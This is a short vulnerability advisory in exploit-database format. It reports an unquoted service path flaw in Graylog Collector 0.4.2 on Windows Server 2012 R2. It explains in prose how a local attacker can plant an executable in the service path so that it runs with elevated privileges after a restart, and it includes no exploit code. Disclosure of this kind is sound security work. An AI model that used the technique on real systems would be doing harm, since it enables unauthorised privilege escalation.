• # Exploit Title: Graylog Collector Service Path Privilege Escalation
  # Date: 10/14/2016
  # Exploit Author: Joey Lane
  # Software Link: https://github.com/Graylog2/collector
  # Version: 0.4.2
  # Tested on: Windows Server 2012 R2
  
  Graylog Collector installs as a service with an unquoted service path.If
  the user installs this service in a directory containing a space, this will
  create a privilege escalation vulnerability.To properly exploit this
  vulnerability, a local attacker can insert an executable file in the path
  of the service.Rebooting the system or restarting the service will run
  the malicious executable with elevated privileges.
  
  
  This was tested on version 0.4.2, but may affect other versions as well.
